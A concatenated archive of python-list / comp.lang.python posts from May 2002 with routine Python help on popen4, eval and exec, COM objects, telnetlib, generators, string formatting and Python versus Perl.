indentation will be like: > >[Thread started by NG person] > [Response from NG person] > [Response from NG person]* > [Rsponse from NG person]** > [Response from NG person] >[Response from ML person to article marked *] > [Respnse form NG person] >[Further response from ML person to above] >[Response from ML person to atricle marked **[ > >And so forth. ML people always get dumped into level-0 threading for me. Not true. Some people use mail clients that process References: instead of In-Reply-To and those posts get threaded correctly. -- Aahz (aahz at pythoncraft.com) <*> http://www.pythoncraft.com/ "I used to have a .sig but I found it impossible to please everyone..." --SFJ From raims at dot.com Wed May 29 16:59:50 2002 From: raims at dot.com (Rhymes) Date: Wed, 29 May 2002 22:59:50 +0200 Subject: Crashing IDLE Message-ID: I've noticed that IDLE crash itself with this infinite loop statement: >>> while 1: ... pass ... it's a known bug or not? [IDLE 0.8 bundled with Python (Win32) 2.2] -- Rhymes rhymes at myself.com From fperez528 at yahoo.com Tue May 21 12:06:36 2002 From: fperez528 at yahoo.com (Fernando =?ISO-8859-1?Q?P=E9rez?=) Date: Tue, 21 May 2002 10:06:36 -0600 Subject: How to know if a popen*() was successful? References: Message-ID: Eric Brunel wrote: >> I'm failing at detecting whether a process has indeed been opened by a >> popen4 call. Consider the following code: >> >> pager_cmd = 'less' >> pager,shell_out = os.popen4(pager_cmd,'w') >> >> How can I tell if less was indeed opened? > [snip] > > On Unix, there's a simple way: use the Popen classes instead of the popen > functions and use the "poll" method: Thanks for the suggestion, but as I said furhter (and you acknowledged), I need this to work under windows, as much as I dislike that piece of trash. Cheers, f. From pete at dexterslab.de Tue May 28 16:15:03 2002 From: pete at dexterslab.de (Henning Peters) Date: Tue, 28 May 2002 22:15:03 +0200 Subject: python-orbit References: Message-ID: > i've problems to get a corba-orbit/python-orbit installation running. Using > RedHat as distribution solved my problems with all the gnome/glib/linc/popt > dependencies that i had with SuSE and Debian. Some hours later, all seem to > work and python-orbit compiles successfully. I finally solved my problem by installing the RPMs of ORBit and orbit-python. But nevertheless it would be interesting to know whether it didn't work in my config... Bye, Henning From pyth at devel.trillke.net Mon May 27 12:15:15 2002 From: pyth at devel.trillke.net (holger krekel) Date: Mon, 27 May 2002 18:15:15 +0200 Subject: eval vs. exec In-Reply-To: <3cf232b4@si-nic.hrz.uni-siegen.de>; from Simon.Budig@unix-ag.org on Mon, May 27, 2002 at 03:20:52PM +0100 References: <3cf232b4@si-nic.hrz.uni-siegen.de> Message-ID: <20020527181515.O11253@prim.han.de> Simon Budig wrote: > I want to execute things like the three following strings: > > "a = 2" ---> returns nothing > "3 * 4" ---> returns 12 > "a=2; b=3; a*b" ---> returns 6 > My current code looks like this: what you can do is e.g. def run_code(string, mathstuff={'myabs': lambda x: abs(x)}): import code interpreter = code.InteractiveInterpreter() interpreter.locals = mathstuff codeobj = interpreter.compile(string) result = interpreter.runcode(codeobj) return result run_code('a=2') run_code('3*4') run_code('a=2;b=3;a*b') run_code('a=-3;myabs(a*5)') (you should be able to paste it to your interpreter). Is this what you want? You may need to fiddle around, of course. have fun, holger From fperez528 at yahoo.com Sun May 12 17:45:42 2002 From: fperez528 at yahoo.com (Fernando =?ISO-8859-1?Q?P=E9rez?=) Date: Sun, 12 May 2002 15:45:42 -0600 Subject: python, a scripting language? References: Message-ID: Erlend J. Leiknes wrote: > A friend of mine which is a java programmer insists on that python is > scripting language... > Tell your friend that C is a scripting language too. Seriously, it has system(), so you can use it to 'script' other programs. 'scripting language' is being used by your apparently ignorant (or ill-intentioned) friend as a derogatory term. In reality, any language that can make system calls can be used for 'scripting'. Now, if he wants to distinguish between 'languages that compile to native machine code' and those which don't, then python does indeed need an interpreter to be around for execution (even of pre-compiled byte code). But as far as I know java falls in the same category (jvm needed) although there could be native binary java compilers, I simply have no idea. Relying on an interpreter can be a drawback or an asset, that depends on the problem at hand. So if your friend wants to argue about python's shortcomings (it has them, like anything else out there), ask him first to come up with an informed, intelligent arugment. So far he hasn't. Cheers, f. From erno-news at erno.iki.fi Thu May 9 13:19:53 2002 From: erno-news at erno.iki.fi (Erno Kuusela) Date: 09 May 2002 20:19:53 +0300 Subject: Multibyte Character Surport for Python References: Message-ID: In article , sjmachin at lexicon.net (John Machin) writes: | Erno Kuusela wrote in message | news:... || || what would be the advantage in preventing non-english-speaking people || from using python? | (1) You mean, like they are prevented from using FORTRAN, COBOL, C, | ...? yes (but not java). -- erno From ragu at stromix.com Tue May 7 18:44:47 2002 From: ragu at stromix.com (Ragu Bharadwaj) Date: Tue, 7 May 2002 15:44:47 -0700 Subject: taglibs equivalent in Python Message-ID: <9D82B3F44633494A9BFC45CC694F761AF228C3@exchange.ds.stromix.com> Thanks for clarifying. My question then is: Is it possible to implement custom tags within Zope? (to implement taglibs like functionality) cheers -Ragu -----Original Message----- From: Sean 'Shaleh' Perry [mailto:shalehperry at attbi.com] Sent: Tue 5/7/2002 2:27 PM To: Ragu Bharadwaj Cc: python-list at python.org Subject: RE: taglibs equivalent in Python > > Taglibs themselves run in a JSP server which is basically a Java runtime > plugged in to Apache, which also understands taglibs and JSP specific stuff. > The closest thing to a JSP server in Python appears to be Zope (I am kinda > new to Python) > if you want jsp/asp/php like functionality via python Zope is pretty much your only choice. From dalke at dalkescientific.com Sun May 26 18:58:29 2002 From: dalke at dalkescientific.com (Andrew Dalke) Date: Sun, 26 May 2002 16:58:29 -0600 Subject: extended list comprehensions References: Message-ID: F. Jamitzky: >It would be great to have something like a list comprehension for the >reduce function. ... >and maybe it could be written as: > >{y=y+x for x in xs} <-would be-> reduce(operator.add,xs) I use reduce so infrequently that I wouldn't think this is useful. How often do you use it? Your syntax is similar to "dictionary comprehensions" which have been suggested several times, as in {x:x*x for x in xs} That's enough to make me believe your syntax would be confusing. (As it is, 'reduce' is confusing.) reduce takes an optional 3rd arg, as in >>> reduce(operator.add, "test", "prefix-") 'prefix-test' >>> which I guess you would support as y = "prefix-" {y=y+x for x in xs} But given that, if y doesn't exist before the {} is called, your argument is that it should implicitly be set to 0. This then would be one of the few places in Python with a default value, outside of a function parameter definitions. Andrew dalke at dalkescientific.com From aleax at aleax.it Sun May 5 03:25:03 2002 From: aleax at aleax.it (Alex Martelli) Date: Sun, 05 May 2002 07:25:03 GMT Subject: Using functional tools References: Message-ID: RPM1 wrote: ... > Actually I like the Numeric solution. And since this is a chess program, > this function will easily be called 100's of millions of times. So ANY > savings is worth while. Do consider moving to Numeric for all your array/handling, rather than just using it for a few manipulations with transformation to/from lists: you may be able to get substantial acceleration this way. Alex From roy at panix.com Tue May 7 07:42:33 2002 From: roy at panix.com (Roy Smith) Date: Tue, 07 May 2002 07:42:33 -0400 Subject: What makes code "readable"? (was Re: Python vs. Perl, which is better to learn?) References: <20020507000637.23324.92190.Mailman@mail.python.org> Message-ID: Terry Hancock wrote: > Seriously, if you can read the code aloud (especially in > an unambiguous way) this may be very helpful. Oh, you have no idea how true that is. In my work, I deal with SNMP mibs a lot. Our standard is to name variables in our code exactly the same as the objects from the mibs, to avoid ambiguity. Depending on the mib, this may be good or bad. Things like "ifStatus" and "sysUpTime" are easy to read, but sometimes you get stuck with things like "cpqFcaPhyDrvFWRev", which makes Perl line-noise look good by comparison. It is amazing how much difference this makes in readability of code. From mhammond at skippinet.com.au Tue May 14 20:30:22 2002 From: mhammond at skippinet.com.au (Mark Hammond) Date: Wed, 15 May 2002 00:30:22 GMT Subject: Obtaining two references to a COM server References: <3CE1087B.D44CC27E@lfpt.rwth-aachen.de> Message-ID: <3CE1AC5E.9000101@skippinet.com.au> Lars von Wedel wrote: > Hi, > > we are using Python as a COM client of an application > and we want to start two server instances. This works > fine in VB using > > Dim anw As Object 'Das Anwendungsobjekt > Set anw = CreateObject("Parsival.Application.1") > anw.Visible = true > > Dim anw2 As Object 'Das Anwendungsobjekt > Set anw2 = CreateObject("Parsival.Application.1") > anw2.Visible = true > > However, using Python Win32 extensions, > > Dispatch("Parsival.Application.1") > > will receive two references which point to the same > object. > > Any ideas on this different behavior? How can we achieve > the VB behavior in Python? Try using: ob = pythoncom.CoCreateInstance("prog.id", None,\ pythoncom.CLSCTX_SERVER, pythoncom.IID_IDispatch) ob = Dispatch(ob) and it should do what you expect. Mark. From terjej at mailandnews.com Wed May 15 11:02:29 2002 From: terjej at mailandnews.com (Terje Johan Abrahamsen) Date: Wed, 15 May 2002 10:02:29 -0500 Subject: Attachmate Extra! and Python Message-ID: <8nt4eu0mc5ovohpc62iig23mglf7mln4t9@4ax.com> I am trying to make use of Win32Com and make a "bridge" between Excel and Extra!. The documentation that comes with Extra is very sparse regarding how to use the OLE connections. I guess they want to sell the developer kit for 500 dollars. However, that will not work with my budget, and besides, I just need a very small part of it. So, therefore I am very curious if somebody has controlled Extra! thru Python? If so, do you know about a website with some more info or some sourcecode I can read thru to get some hints? Thanks in advance, Terje From peter at engcorp.com Fri May 17 19:13:43 2002 From: peter at engcorp.com (Peter Hansen) Date: Fri, 17 May 2002 19:13:43 -0400 Subject: telnetlib/socket NT to unix References: <2c71728a.0205170529.5c71a20e@posting.google.com> Message-ID: <3CE58EA7.CF6C0190@engcorp.com> Christophe Delarue wrote: > > I am trying to use the telnetlib to connect onto a sun machine : > import telnetlib > t = telnetlib.Telnet() > t.open("134.64.118.175",23) > -> time out occurs ! at the self.sock.connect((host,port)) > > I tried it through a normal telnet : > > If I send a Start->run->telnet, ask a connection to the same host, the > connection is ok. That host does not respond to my attempts with telnet. Are you sure it's accessible? I don't use the telnetlib, but I can't think of any reason why regular telnet would work but that above would not. -Peter From Midnightblue3 at btinternet.com Wed May 22 19:18:39 2002 From: Midnightblue3 at btinternet.com (CarolineBlue) Date: Wed, 22 May 2002 23:18:39 +0000 (UTC) Subject: Where does IDLE expect to find imported files? Message-ID: BlankCan't get import to work - need to know correct directory to put .py files in for processing I have just installed Python 2.2.1 under Windows 98SE (from a Computer Shopper CD). I am working my way through the Tutorial, but cannot import files for processing by IDLE. Where does IDLE expect to find the named file (eg. prog.py), so that "import prog.py" will work? I tried putting it various directories, such as /usr/local/bin /usr/local/lib /usr/local/bin/python but none have worked. SO where is the magic directory? Caroline. From jjl at pobox.com Fri May 10 18:14:12 2002 From: jjl at pobox.com (John J. Lee) Date: Fri, 10 May 2002 23:14:12 +0100 Subject: Conditional compilation In-Reply-To: References: <3cdbb641_2@news3.newsgroups.com> <3CDBBC97.4D00043A@cascade-sys.com> Message-ID: On Fri, 10 May 2002, holger krekel wrote: > James J. Besemer wrote: > > jb wrote: > > > > > It does not seem to be possible to "comment out" blocks of code, which would > > > be a very nice feature for testing purposes. (Maybe I can do it with """ > > > but that looks a bit cumbersome.) > > > > Prefix your code segment with > > > > if 0: > > > > and indent it a level. > > """ and 'if 0:' are the standard possibilities. I guess one would > need a truly developer oriented IDE to implement this indepently from > language (handling say a all-included-file and a work-file separetely). > > Can't emacs or vi do folding/collapsing several lines into one line > and allow writing out non-folded lines only? [...] C-c # to comment, C-c rk to uncomment (kill rectangle, to be specific), in emacs. John From phr-n2002a at nightsong.com Wed May 1 00:59:42 2002 From: phr-n2002a at nightsong.com (Paul Rubin) Date: 30 Apr 2002 21:59:42 -0700 Subject: crypto References: Message-ID: <7x8z74tqdd.fsf@ruckus.brouhaha.com> "Mark McEahern" writes: > How can I get my grubby little hands on it? I'll see if I can put up an alpha release shortly. There are some things I want to fix in it before I let it out. Also, anyone depending on it for security in its present state is crazy ;-). From dkt at registriesltd.com.au Thu May 30 19:32:45 2002 From: dkt at registriesltd.com.au (David K. Trudgett) Date: Fri, 31 May 2002 09:32:45 +1000 Subject: What does Python offer? In-Reply-To: ; from NoSpam@nospam.com on Thu, May 30, 2002 at 09:52:48AM +0000 References: Message-ID: <20020531093245.O2276@regdp-02.intint.registriesltd.com.au> On Thursday 2002-05-30 at 09:52:48 +0000, news wrote: > At the same time, its evolution is directed by a "benevolent > dictator," Guido van Rossum, which means you have only one > implementation to target. This could start to look like a disadvantage if phrased slightly differently... we're not saying that the whole Python edifice will crumble if one man disappears, are we? I hope that's not what you mean. David Trudgett From loewis at informatik.hu-berlin.de Wed May 8 13:04:32 2002 From: loewis at informatik.hu-berlin.de (Martin v. =?iso-8859-1?q?L=F6wis?=) Date: 08 May 2002 19:04:32 +0200 Subject: Multibyte Character Surport for Python References: Message-ID: pinard at iro.umontreal.ca (Fran?ois Pinard) writes: > > what would be the advantage in preventing non-english-speaking people > > from using python? > > The only reason I ever heard is preventing people to write code that cannot > be universally exported. Indeed, the code ought to run regardless of environment settings. These days, it doesn't have that much to do with "exporting" it: even in a single organization, multiple encodings for a single language are used (e.g. in Germany, all of Latin-1, Latin-9, UTF-8, and CP-1252 are common); people would expect that their code continues to work when they move it from a Unix machine to a Windows machine. So in the end, the only acceptable strategy would be to allow identifiers that contain letters (or letterlike symbols) in arbitrary languages. For Python, that would mean that attributes must be Unicode objects, which could cause code breakage. Regards, Martin From jwilhelm at outsourcefinancial.com Thu May 16 22:26:32 2002 From: jwilhelm at outsourcefinancial.com (Joseph Wilhelm) Date: 16 May 2002 19:26:32 -0700 Subject: Stupid string formatting question In-Reply-To: <20020517021121.GA8368@attrition.dynamine.net> References: <20020517021121.GA8368@attrition.dynamine.net> Message-ID: <1021602392.31888.4.camel@jwilhelm.ofsloans.com> On Thu, 2002-05-16 at 19:11, Michael S. Fischer wrote: > On Thu, May 16, 2002 at 07:03:47PM -0700, Sean 'Shaleh' Perry wrote: > > > > OK, here's an example. > > > > > > >>> def x(): > > > ... return "a", "b" > > > ... > > > >>> print "%s/%s/%s/%s" % ("hi", "there", x()) > > > Traceback (most recent call last): > > > File "", line 1, in ? > > > TypeError: not enough arguments for format string > > > > > > > you just returned ("hi, "there", ("a", "b")) which is len(3) not 4. > > OK. What can I do to make this work? > > -- > Michael S. Fischer / michael at dynamine.net / +1 650-533-4684 > Lead Hacketeer, Dynamine Consulting, Silicon Valley, CA > > > -- > http://mail.python.org/mailman/listinfo/python-list Well this is a little (Okay, maybe more than a little) ugly... but you could do something like this: >>> def x(): ... return "a","b" ... >>> args = [ "hi", "there" ] >>> args.extend( x() ) >>> print "%s/%s/%s/%s" % tuple( args ) hi/there/a/b >>> --Joseph Wilhelm From peter at engcorp.com Thu May 23 20:32:12 2002 From: peter at engcorp.com (Peter Hansen) Date: Thu, 23 May 2002 20:32:12 -0400 Subject: How Are Unlimited Precision Integers Accomplished? References: <7xbsb7zrlc.fsf@ruckus.brouhaha.com> Message-ID: <3CED8A0C.835E795@engcorp.com> Uncle_Alias wrote: > > Paul Rubin wrote in message news:<7xbsb7zrlc.fsf at ruckus.brouhaha.com>... > > Yes, Python has a "long" (arbitrary precision integer) type whose size > > is limited only by the amount of memory available. Python version 2.2 > > uses longs when regular integer calculations overflow. Earlier > > versions of python will signal an integer overflow error if an > > integer (normally 32 bits) gets too large. That will happen > > if you enter an exponent >= 31. > > That explains part of my surprise: I'd been using an earlier version > on the Mac, and am now using 2.2.1 on the PC. > > So what fun things can we do with this? Anyone have an algorithm for > calculating pi? I've got a really fast one in Python. It completes just as quickly as any C algorithm for pi. ;-) -Peter From fperez528 at yahoo.com Mon May 20 16:03:33 2002 From: fperez528 at yahoo.com (Fernando =?ISO-8859-1?Q?P=E9rez?=) Date: Mon, 20 May 2002 14:03:33 -0600 Subject: string module References: <3_3G8.8070$p56.2287391@newsb.telia.net> Message-ID: Fredrik Lundh wrote: >> Why the difference? > > the readline library might be messing up the locale. Indeed! Thanks for the information, I was really puzzled. Here's what happens: [~/test]> python Python 2.2 (#1, Feb 24 2002, 16:21:58) [GCC 2.96 20000731 (Mandrake Linux 8.2 2.96-0.76mdk)] on linux-i386 Type "help", "copyright", "credits" or "license" for more information. >>> import string,locale >>> print string.__file__ /usr/lib/python2.2/string.pyc >>> print locale.getlocale() ['en_US', 'ISO8859-1'] >>> print string.uppercase ABCDEFGHIJKLMNOPQRSTUVWXYZ?????????????????????????????? The strings.py file contains the same above statements: [~/test]> python strings.py /usr/lib/python2.2/string.pyc (None, None) ABCDEFGHIJKLMNOPQRSTUVWXYZ So indeed, since I'm loading readline at the interactive prompt, there's an under the hood resetting of the locale. Ah, the beauty of perl-like silent, implicit global changes ;) Thanks for the clarification! f. From iwaters at btclick.com Fri May 10 14:40:11 2002 From: iwaters at btclick.com (ian) Date: Fri, 10 May 2002 19:40:11 +0100 Subject: lists + string References: Message-ID: Hehe :) thanks thats perfect "Steve Holden" wrote in message news:mqTC8.61300$m26.48333 at atlpnn01.usenetserver.com... > "ian" wrote in message > news:unSC8.57436$oK4.103913 at NewsReader... > > cheers for the quick response > > what im doing is reading a line from a file > > then appending it to my wordlist list. > > how would i do it knowing this??? > > > > word = str(raw_input("Enter word to remove: ")) > > > > wordlist = [] > > spamfile = file('spam.txt','r',1024) > > > Generally speaking you can do without the size hints, so > > spamfile = file("spam.txt", "r") > > would do here (and you can even miss off the "r" at a pinch). > > > while 1: > > line = spamfile.readline(1024) > > if line == '':break > > wordlist.append(line) > > spamfile.close() > > > Watch that indentation! The difference bettwen 5 leading spaces and 6 is > obvious to the interpreter, but it makes itr difficult for old crocks like > me. 4 spaces per indentation level is nowadays considered acceptable. > > So, you're building a list of words from the file. Note that these words > have newlines at the end of them because they have been read from a file... > you can strip these off by saying something like > > line = spamfile.readline().rstrip() > > The readline() file method returns a string, which therefore has an rstrip() > method to remove trailing whitespace. > > If you're happy about the newlines then you could just say > > wordlist = spamfile.readlines() > > and pull the whole thing in with a single statement! > > > #write back file > > #spamfile = file('spam.txt','w+',1024) > > print "word list" > > for x in wordlist: > > Of course here you aren't taking the newlines into account. Because you > didn't open the file in binary mode (sensible decision) Python guarantees > that the line terminator is a line feed ('\n'). > > So probably the easiest thing would have been to add a newline to the word > you read in from the user. > > > print x > > if x == word:print 'found' > > #spamfile.write(x) > > #spamfile.close() > > > [...] > So your program would become something like: > > word = str(raw_input("Enter word to remove: "))+"\n" > spamfile = file('spam.txt','r',1024) > wordlist = =spamfile.readlines() > spamfile.close() > > #write back file > spamfile = file('spam.txt','w+',1024) > print "word list" > for x in wordlist: > print x > if x == word: > print 'found and removed' > else: > spamfile.write(x) > spamfile.close() > > Hope this will be an iluminating contrast with your initial effort. You had > a lot ofthe logic correct, but not knowingf the details of the I/O subsystem > stood in your way. It was also a gaff to miss out the "else" in the > conditional: without it, everything gets written back to the spam file. In > that case, there's no point rewriting it, you could have just left it as it > was. > > Tell your professor I'd like at least a "B" for this, please ;-) > > regards > Steve > -- > ----------------------------------------------------------------------- > Steve Holden http://www.holdenweb.com/ > Python Web Programming http://pydish.holdenweb.com/pwp/ > ----------------------------------------------------------------------- > > > > > From peter at engcorp.com Sat May 4 23:35:15 2002 From: peter at engcorp.com (Peter Hansen) Date: Sat, 04 May 2002 23:35:15 -0400 Subject: Looking for a scripting language References: <3cd49f78$0$355$9b622d9e@news.freenet.de> Message-ID: <3CD4A873.65F97CC3@engcorp.com> deckerben wrote: > > I have decided that the black-and-white approach of 'just know C and Java' > may not be sufficient. I believe in months to come, you'll look back on this decision of yours as one of the smartest things you've done. I certainly feel that way two years after discovering Python. > I ahve several windows scripts (batch files) that I > would like to re-write in the language of a single interpreter. [...] > But the interpreter needs to be as flexible as a shell prompt in its ability > to handle command-line arguments, file I/O, and extern-executable calls. > > BTW: Can Python temporarily 'shell' to an external executable? Try this: Python 2.2.1 (#34, Apr 9 2002, 19:34:33) [MSC 32 bit (Intel)] on win32 >>> import os >>> os.system('dir *.bat') Volume in drive C is DRIVE1-1 Volume Serial Number is 2E17-18E1 Directory of C:\ AUTOEXEC BAT 577 01-23-02 9:12p AUTOEXEC.BAT TEST BAT 146 03-13-02 9:02p test.bat 2 file(s) 723 bytes 0 dir(s) 285.65 MB free Note that you can use the interactive prompt like this to experiment with the language and learn it very quickly. Do the tutorial! http://www.python.org/doc/current/tut/tut.html > I am currently considering: PERL, JAVASCRIPT, PYTHON and LISP. Stop considering Javascript immediately. It is a dog's breakfast and not really intended for the sort of thing you need. I believe Lisp was not intended for such tasks either, though there may be implementations that are capable. Perl and Python are your only serious alternatives (from that list). Those in this newsgroup would widely consider Python to be a big improvement over Perl in the area of readability and maintainability. Perl programs tend to be very difficult to read for others, or even the original programmer, weeks or months after they are written. It's also fairly widely considered to be inadequate for large programs, whereas Python is highly capable in this regard. I have no qualms in recommending strongly that you adopt Python for this and other tasks. In fact, at my company we've basically adopted Python exclusively except where it is simply incapable of running (e.g. 16-bit embedded micros, or for client-side web browser programming where really only Javascript is suitable). All utilities, and now effectively all PC software of any kind, plus some embedded stuff running on PC104 hardware, is written in Python and the odd bit of C code for custom extensions. > Which would work the best? Definitely Python. > Which one of these languages has the greatest demand for programmers at the > moment? Different target areas, so it depends on what you are trying to do. I thought you wanted to rewrite some batch files, but now you are more concerned about future employment potential? In any case, it's probably the case that those with knowledge of Perl more widely employable by companies who are strongly interested in those with specific language knowledge. Perhaps those with knowledge of Python would be more widely employable by those (in my opinion much more interesting) companies which are less interested in the specific languages you know than in your ability to communicate and learn new things. > Is there another language I should consider? Not in my opinion. Python is extremely capable. -Peter From mcfletch at rogers.com Wed May 8 22:46:02 2002 From: mcfletch at rogers.com (Mike C. Fletcher) Date: Wed, 08 May 2002 22:46:02 -0400 Subject: help needed on generator References: <5lijdu8recmu4sgrmgq1m95fgqg8p3brjg@4ax.com> Message-ID: <3CD9E2EA.8030708@rogers.com> First, the generator problem: You are ignoring the results of the recursive calls to dirtree (which is a generator that yeilds at most one result at the moment). You want to yeild the result of the dirtree, but that's supposed to be a generator, so you actually want to do: for result in dirtree( os.path.join(root, dirname), predicate): yield result Second the library-function problem: os.path.isdir() requires a fully-specified path or one relative to the current working directory. HTH, Mike 8<____________ walk.py ___________ #Import generators. from __future__ import generators #Import modules. import os, sys def true(*args, **kwargs): """The identically true function.""" return 1 def dirtree(root, predicate = true): """Visit a directory tree, using a generator. A predicate can be provided to trim the directories visited.""" #Yield root dir. if predicate(root): yield root #Recurse into subdirectories. directories = [ dir for dir in os.listdir(root) if os.path.isdir(os.path.join(root,dir)) ] for dirname in directories: if predicate(dirname): for result in dirtree(os.path.join(root, dirname), predicate): yield result if __name__ == '__main__': try: root = sys.argv[1] except IndexError: root = os.getcwd() for dir in dirtree(root): print dir Gon?alo Rodrigues wrote: > Hi, > > I've coded this generator to traverse a directory tree. > > #Import generators. > from __future__ import generators > > #Import modules. > import os, sys > > def true(*args, **kwargs): > """The identically true function.""" > return 1 > > def dirtree(root, predicate = true): > """Visit a directory tree, using a generator. > > A predicate can be provided to trim the directories visited.""" > > #Yield root dir. > if predicate(root): > yield root > > #Recurse into subdirectories. > for dirname in [dir for dir in os.listdir(root) if > os.path.isdir(dir)]: > if predicate(dirname): > dirtree(os.path.join(root, dirname), predicate) > > > if __name__ == '__main__': > try: > root = sys.argv[1] > except IndexError: > root = os.getcwd() > > for dir in dirtree(root): > print dir > > When I feed "C:" to the sucker (run as script) only "C:" gets printed. > Can anyone point out to me what I am doing wrong? > > P.S: I want to keep the order: first yield the directory then go and > visit the childs. > > Thanks in advance and best regards, > Gon?alo Rodrigues -- _______________________________________ Mike C. Fletcher http://members.rogers.com/mcfletch/ From sholden at holdenweb.com Thu May 2 15:44:18 2002 From: sholden at holdenweb.com (Steve Holden) Date: Thu, 2 May 2002 15:44:18 -0400 Subject: Newbie: finding the key/index of the min/max element References: Message-ID: "Fredrik Lundh" wrote ... > Emile van Sebille wrote: > > > > Once again, google is your friend: > > > > > > http://www.google.com/search?q=python+faq > > > > > > yields: > > > > > > http://www.python.org/doc/FAQ.html > > > > I think the call was for a _list_ FAQ, which, to my knowledge, doesn't > > yet exist. I also think this is a good idea. > > google is your friend. > > http://www.google.com/search?q=comp.lang.python+FAQ > http://www.google.com/search?q=python-list+FAQ > Well I must have done something to upset my friend, then, if the first hit on the first search is anything to go by: Posting-Frequency: biweekly Last-modified: 1998/08/20 Not quite as regular or recent as one might hope for, though indubitably a starting point. regards Steve -- Steve Holden: http://www.holdenweb.com/ ; Python Web Programming: http://pydish.holdenweb.com/pwp/ From opengeometry at yahoo.ca Wed May 8 16:23:10 2002 From: opengeometry at yahoo.ca (William Park) Date: Wed, 8 May 2002 16:23:10 -0400 Subject: Render HTML? In-Reply-To: <3CD8D3A6.AD85EB08@anansispaceworks.com>; from hancock@anansispaceworks.com on Wed, May 08, 2002 at 12:28:38AM -0700 References: <3CD8D3A6.AD85EB08@anansispaceworks.com> Message-ID: <20020508162310.A2757@node0.opengeometry.ca> On Wed, May 08, 2002 at 12:28:38AM -0700, Terry Hancock wrote: > I have a need to render some HTML to an image format > for a project I'm working on. I've tried html2ps combined > with ImageMagick, and it might be good enough, but > I do have some complaints: > > * html2ps is in Perl, which introduces a new language > dependency (of course just about any web server will > probably have Perl anyway). > > * It chokes on a lot of modern web pages, especially > those with frames or javascript. > > It appears that one might be able to use Gecko (the > rendering engine from Mozilla), but it's not clear to > me how much work would be involved in interfacing it > to my Python-based program, or whether any of this > work has already been done. > > I can run html2ps using os.system() or popen() calls -- > a similar interface, or better yet, a Python API, > would be nice. > > It's not too critical an application, so I might just > stick to html2ps, if it's too hard to do something > else. But it only works about 80% of the time, and > sometimes it actually hangs (memory problems?). > > Any ideas, pet projects, etc? > Cheers, > Terry If what Netscape displays is good enough, you can save it to PS directly. netscape & netscape -remote "openURL(http://www.babes.com) -remote "saveAs(babes.ps, Postscript)" You still need to crop it using ImageMagick or something. -- William Park, Open Geometry Consulting, 8-CPU Cluster, Hosting, NAS, Linux, LaTeX, python, vim, mutt, tin From dalke at dalkescientific.com Wed May 1 02:32:12 2002 From: dalke at dalkescientific.com (Andrew Dalke) Date: Wed, 1 May 2002 00:32:12 -0600 Subject: Python vs. Perl, which is better to learn? References: Message-ID: Christopher Browne: >Well, in Perl, [regular expressions are] "first class objects," as >it were, requiring no extra references to functions to get them to >function, as a base part of the language syntax. He-he. I remember once posting the following $patterns = ''; sub add_pattern { my($pat, $name) = @_; $patterns .= "if (\$str =~ /$pat/) { \$count++; print 'Found $name\n'; }\n"; } sub search { my($str) = $_[0]; my($count) = 0; eval $patterns; return $count; } because I learned Perl in the 4.036 days and that was the only way to make a regexp pattern on the fly. Nowadays there's the qr() and other command (I've completely forgotten them by now). Anyway, after posting it someone else said: ] the technique of building a regex sub on the fly and eval'ing it is very ] old and was the standard way to test multiple regexes with decent ] efficiency. it is not well know by newbies but most perl hackers had it ] in their idiom toolbox. which made me feel pretty ancient. So in my way of viewing, Perl regexps are fundamental data types but *were* second-class objects, in that it was impossible to have an array of regular expressions. I think you mean the first of these and not the second. Now I think Perl regexps are both fundamental and first class. I do love that Python's regexp patterns are parsed in Python, which has let me play around with modified regexp patterns. I also love that Python's module approach lets it handle at least three different regular expression libraries in a similar fashion (old-style regexp, new-style re/src, and posix). If you really want, there's a 403 article thread from late 1998 titled Perl & Java - differences and uses which contains my thoughts on this matters. >Mind you, I have found that the "More Pythonic Way" of constructing >complex regexes by building components, like the following, to have >merit: > > digit = '[0-9]' > date = '\(' + digit + digit + digit + digit + '/' + digit + digit + '/' > date = date + digit + digit + '\)' I've tried doing this, but it's almost impossible to find mismatched parens. Instead, consider something like Greg Ewing's Plex, which uses functions to build up these terms, and let's Python's parsing catch some of the problems. Andrew dalke at dalkescientific.com From huaiyu at gauss.almadan.ibm.com Mon May 20 13:41:01 2002 From: huaiyu at gauss.almadan.ibm.com (Huaiyu Zhu) Date: Mon, 20 May 2002 17:41:01 +0000 (UTC) Subject: PEP 218 Re: ANN: set-0.1 module available References: <3CE55E8B.1B80EBE3@alcyone.com> <3CE58757.5146706E@alcyone.com> <3CE59F5C.B35CAC28@alcyone.com> <5gTF8.58861$i42.10158@atlpnn01.usenetserver.com> <3CE80E97.B6445F2C@alcyone.com> Message-ID: Erik Max Francis wrote: >Steve Holden wrote: > >> Well, in my case I'm disagreeing that there ought to be a line at all. >> If we >> can have lists and tuples, I don't see any reason why we couldn't have >> two >> flavours of set as well. > >But we _don't_ have two flavors of dictionaries. That's the most direct >analogue in terms of implementation. What prevents us from having both of them in the future? Huaiyu From zweistein at net.hr Sun May 12 06:52:11 2002 From: zweistein at net.hr (zweistein) Date: Sun, 12 May 2002 12:52:11 +0200 Subject: searching files References: Message-ID: Hmmmmmm... Yes, I know this, but I'm currently on Win2k, and do not have access to grep and/or awk. Nikola "William Park" wrote in message news:abjqus$j192b$1 at ID-99293.news.dfncis.de... > zweistein wrote: > > "Chris Liechti" wrote in message > > news:Xns920BB71141B16cliechtigmxnet at 62.2.16.82... > >> please provide more information about your data structure and what exactly > >> you want to search (names, numbers etc) and you will get more useful > >> feedback from this group. > > > > Well, I am storing every entry in a file. It stores only the name and the > > telephone number, and is tab delimited (name surname [TAB] tel.). I am > > trying to write a function to which a searchstring would be passed which > > would look into the entire file and show the entry that matches. > > I would like it to search both names and tel. numbers. > > This is no-brainer in Unix, ie. > egrep 'surname' file > awk '/surname/ {print}' file > In pure Python, you have to read the file into list, and do string/re search. > > -- > William Park, Open Geometry Consulting, > 8-CPU Cluster, Hosting, NAS, Linux, LaTeX, python, vim, mutt, tin From lenssen at hitnet.rwth-aachen.de Sun May 5 17:58:20 2002 From: lenssen at hitnet.rwth-aachen.de (Philipp Lenssen) Date: Sun, 5 May 2002 23:58:20 +0200 Subject: Choose Your Own Adventure References: <3CD5A2DB.F9FBF976@alcyone.com> Message-ID: "Erik Max Francis" wrote in message news:3CD5A2DB.F9FBF976 at alcyone.com... > > You should get in touch with the interactive fiction community; try > posting this announcement to rec.arts.int-fiction. > I regularly post QML news in that group. This one time however I thought the Python community could take interest (since the news bit is about the Python port, after all). > The annotations on the screenshots do not layout properly on Netscape > 4.x. > I'm sorry, but I didn't have time to optimize the page much for Netscape 4. Instead I optimized it for the W3C standards XHTML1 Strict and CSS2. This means the site works well for browsers conforming to the CSS standards, or ignoring them, and its HTML is downward compatible. Good examples are Netscape 6 (understanding CSS), 